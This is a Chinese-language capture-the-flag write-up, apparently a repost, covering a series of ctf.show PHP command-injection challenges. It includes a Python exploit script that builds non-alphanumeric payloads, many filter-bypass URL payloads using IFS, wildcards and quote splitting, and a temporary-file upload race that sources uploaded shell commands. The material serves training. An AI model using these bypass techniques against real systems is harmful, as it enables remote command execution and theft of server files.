赞
踩
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
// 过滤了数字,字母(大小写),还有一些其他符号
// 未过滤或运算符|和双引号“”
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
URL编码:ASCII码转成十六进制加上%就是URL编码
构造字符:因为过滤了大部分可见字符,为了使用可见字符我们可以使用
“不可见字符”|“不可见字符”=可见字符,即“未过滤字符|未过滤字符”=“过滤的字符”
例:%40|%01
十六进制40的二进制:0100 0000
十六进制01的二进制:0000 0001
或运算之后得出结果:0100 0001 十进制的65,根据ASCII来说就是A,十六进制的41
<?php $myfile = fopen("rce_or.txt", "w"); $contents=""; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; } else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)|urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } } } } fwrite($myfile,$contents); fclose($myfile); // 从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
# -*- coding: utf-8 -*- import requests import urllib from sys import * import os os.system("php rce_or.php") #没有将php写入环境变量需手动运行 if(len(argv)!=2): print("="*50) print('USER:python exp.py <url>') print("eg: python exp.py http://ctf.show/") print("="*50) exit(0) url=argv[1] def action(arg): s1="" s2="" for i in arg: f=open("rce_or.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: #print(i) s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"|\""+s2+"\")" return(output) while True: param=action(input("\n[+] your function:") )+action(input("[+] your command:")) data={ 'c':urllib.parse.unquote(param) } r=requests.post(url,data=data) print("\n[*] result:\n"+r.text)
c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%00"|"%60%60%60%20%60%60%60%2a")
Y4师傅的脚本
https://blog.csdn.net/solitudi/article/details/109837640?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522163559291916780262542265%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=163559291916780262542265&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2blogfirst_rank_v2~rank_v29-1-109837640.pc_v2_rank_blog_default&utm_term=%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C&spm=1018.2226.3001.4450
yu师傅的脚本
https://blog.csdn.net/miuzzx/article/details/108569080
web 41相关问题解决办法
https://blog.csdn.net/qq_45758851/article/details/115188556?spm=1001.2101.3001.6650.1&utm_medium=distribute.pc_relevant.none-task-blog-2defaultCTRLISTdefault-1.no_search_link&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2defaultCTRLISTdefault-1.no_search_link
P牛文章:一些不包含数字和字母的webshell
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
详细分析脚本
https://blog.csdn.net/qq_40345591/article/details/127773706
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
payload:
?c=tac flag.php;a
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
// 过滤了分号,cat
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
payload:
?c=tac flag.php%26a
?c=nl flag.php%0a
疑问点:为什么要将&转换成url编码
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
// 比上一题多过滤了flag
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
payload:
?c=tac fl*%26a
?c=nl fla*.php%0a
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
// 多过滤了空格
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
payload:
?c=tac%09fl*%26a // %09绕过
?c=echo`nl\$IFS*`%0A // 内敛执行
首先 I F S 在 l i n u x 下表示分隔符,单纯的 c a t IFS在linux下表示分隔符,单纯的cat IFS在linux下表示分隔符,单纯的catIFS2,bash解释器会把整个IFS2当做变量名,所以无法输出结果,添加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,$9是因为当前系统shell进程的第九个参数的持有者,始终为空字符串,起隔开作用。
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
// 过滤了数字0-9,美元符号,通配符星号
}
}else{
highlight_file(__FILE__);
}
payload:
?c=tac%09fla?.php%26a
?c=nl<fla''g.php||
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
1.过滤了好多文件读取命令,但是仍然可以通过tac读取
2.payload
payload:
?c=tac%09fla?.php%26a
?c=nl<fla''g.php||
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
读取文件命令:cat|more|less|head|sort|tail|sed|cut|awk|strings|od|curl
payload:
?c=tac%09fla?.php%26a
?c=nl<fla''g.php||
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
但是%09会被浏览器自动解码成水平制表符,%26是&
payload:
?c=tac%09fla?.php%26
?c=nl%09fla\g.php||
?c=nl%09fla\g.php%0a
?c=nl%09fla''g.php%0a
?c=nl%09fla""g.php%0a
?c=vi%09fla\g.php%0a
?c=tac%09fla\g.php%0a
?c=uniq%09fla\g.php%0a
?c=nl<fla''g.php||
?c=nl%09fla\g.php%26
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
payload:
?c=nl<fla''g.php||
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
payload:
?c=nl<fla''g.php||
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
发现了假的flag,这个时候访问一下根目录?c=ls${IFS}/||,发现了flag,直接访问/flag
payload:
?c=nl$IFS/fla''g||
?c=cp${IFS}/fl''ag${IFS}/var/www/html/a.txt||
// 也可以先把flag复制到a.txt,再访问该文件
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
system自带打印返回值,返回结果并不是执行结果,成功则返回命令输出的最后一行
2.payload
payload:
// ta''c,两个单引号在系统执行时默认绕过
?c=ta''c${IFS}fla?.php
?c=ca''t${IFS}fla?.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
查看根目录,发现flag.php,为了访问它,将其重命名为a.txt,然后访问a.txt
payload:
?c=ls
?c=mv${IFS}fla?.php${IFS}a.txt
?c=ls
访问a.txt
bin为binary的简写,主要放置一些系统的必备执行文件。
例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
?c=vi${IFS}f???.???
?c=uniq${IFS}f???.???
?c=/bin/c??${IFS}????????
?c=/bin/c??$IFS????????
?c=/bin/?at${IFS}f???????
grep:能使用正则表达式搜索文本,并把匹配的行打印出来。
?c=grep${IFS}'fla'${IFS}fla?.php
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
// 给了空格,过滤了字母,无字母RCE
system($c);
}
}else{
highlight_file(__FILE__);
}
bzip2 命令同 gzip 命令类似,只能对文件进行压缩(或解压缩),对于目录只能压缩(或解压缩)该目录及子目录下的所有文件。当执行压缩任务完成后,会生成一个以“.bz2”为后缀的压缩包。
/bin与/user/bin的区别
bin: bin为binary的简写主要放置一些系统的必备执行档,例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar等。
/usr/bin:主要放置一些应用软体工具的必备执行档,例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、 gzip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb*、wget等。
payload:
?c=/???/???/????2 ????.???
// /usr/bin/bzip2 flag.php, 访问/flag.php.bz2进行下载获得flag.php
payload:
?c=/???/????64 ????.???
// /bin/base64 flag.php
大概思路:通过脚本POST上传一个文件,文件内容是要执行的命令,并且在原网址页面同时点命令执行该文件,形成条件竞争。这是因为上传文件之后,服务器的php接收了文件,它不清楚脚本执行后,接收文件以后的操作,因此把每次脚本执行上传的文件都放在一个目录,这个目录属于临时目录,任何程序都可以写。一般来说这个文件在linux下面保存在/tmp/php??????
,6个字符是随机生成的有大小写。所以可以通过/???/???[@-[] 来构成这个路径。
没有过滤点,点命令在linux中是source的缩写,通过点命令,可以在没有执行权限的情况下执行sh命令。
source命令:source命令也称为“点命令”,也就是一个点符号(.)。
source命令通常用于重新执行刚修改的初始化文件,使之立即生效,而不必注销并重新登录。
source命令可以将长串命令做成一个文件,然后自动顺序执行,把一个文件的内容当成shell来执行
[@-[]为匹配ascii码范围在@-[的字符(A,Z被屏蔽,所以范围大一位),之所以用[@-[]是因为直接用/???/???匹配到的其他文件都是小写字母,只有php临时生成的文件才包含大写字母。即使这样,也不一定能够准确地匹配到上传的临时文件,可能要多次刷新。
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST数据包POC</title> </head> <body> <form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data"> <!--链接是当前打开的题目链接--> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>
Html代码思路:
把源码做成本地的HTML文件,from action改成题目地址,enctyoe=“multipart/from-data”,然后提交空文件抓包,更改post的值,输入?c=.+/???/???[@-[],上传1.php,内容为sh命令:#!/bin/sh ls
注意:
shell程序必须以“#!/bin/sh”开始,"#!/bin/sh"是对shell的声明,说明你所用的是哪种类型的shell及其路径所在。#!/bin/是指此脚本使用.bin/sh来执行。#!是特殊的表示符,其后面跟的是解释此脚本的shell的路径,如果没有声明,则脚本将在默认的shell中执行
.+代表贪婪,匹配从右到左,.+?代表非贪婪,匹配从左到右。
然后看到flag.php文件,直接用命令读取 cat /var/www/html/flag.php
import requests
while True:
url = "http://44875025-cec2-4154-8d87-34cbdcff5f27.chall.ctf.show/?c=.+/???/????????[@-[]"
r = requests.post(url, files={"file": ('1.php', b'cat flag.php')})
if r.text.find("flag") >0:
print(r.text)
break
python脚本,有待看懂,不是很懂怎么操作
P神文章:无字母数字webshell提高篇
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
详细wp
https://blog.csdn.net/qq_46091464/article/details/108513145
Y4师傅脚本
https://blog.csdn.net/solitudi/article/details/109837640
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
在过滤了数字字母的情况下,还保留了.和? ,就可以使用post文件上传来做
这里关于上传文件的类型有个疑惑,
如果使用shell命令,是否需要上传.sh文件,之前上传php文件类型,也可以执行shell命令,很迷
同web55的脚本
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST数据包POC</title> </head> <body> <form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data"> <!--链接是当前打开的题目链接--> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>
临时路径除了?c=.+/???/????????[@-[],也可以用?c=.%20/???/????????[@-[],空格%20
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
(())是用来整数运算的命令,内部可以放表达式,默认相加
$(())=0,~ ( ( ) ) = 0 , (())=~0, (())= 0,((~ $(())))=-1
~0表示按位取反
0的存储是 0b 0000 0000
~按位取反 0b 1111 1111负数在内存中是按照补码的形式存储,也就是说0b 1111 1111是一个补码,(补码取反加一得原码)原码就是0b 1000 0001,也就是-1(注意负数求反码补码的时候符号位不变),那么它的反码就是0b 1111 1110
通过查看代码发现,flag在36.php文件,通过$((~36)) 可得36取反为-37
36可以通过外层为$(())包裹内层可以运算出36的表达式构造,36由-37取反得到,
所以 ( ( ((~ (( (( )))) 内部加上37个$((~ $(()) )) 得到 -37 。
payload:
?
c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。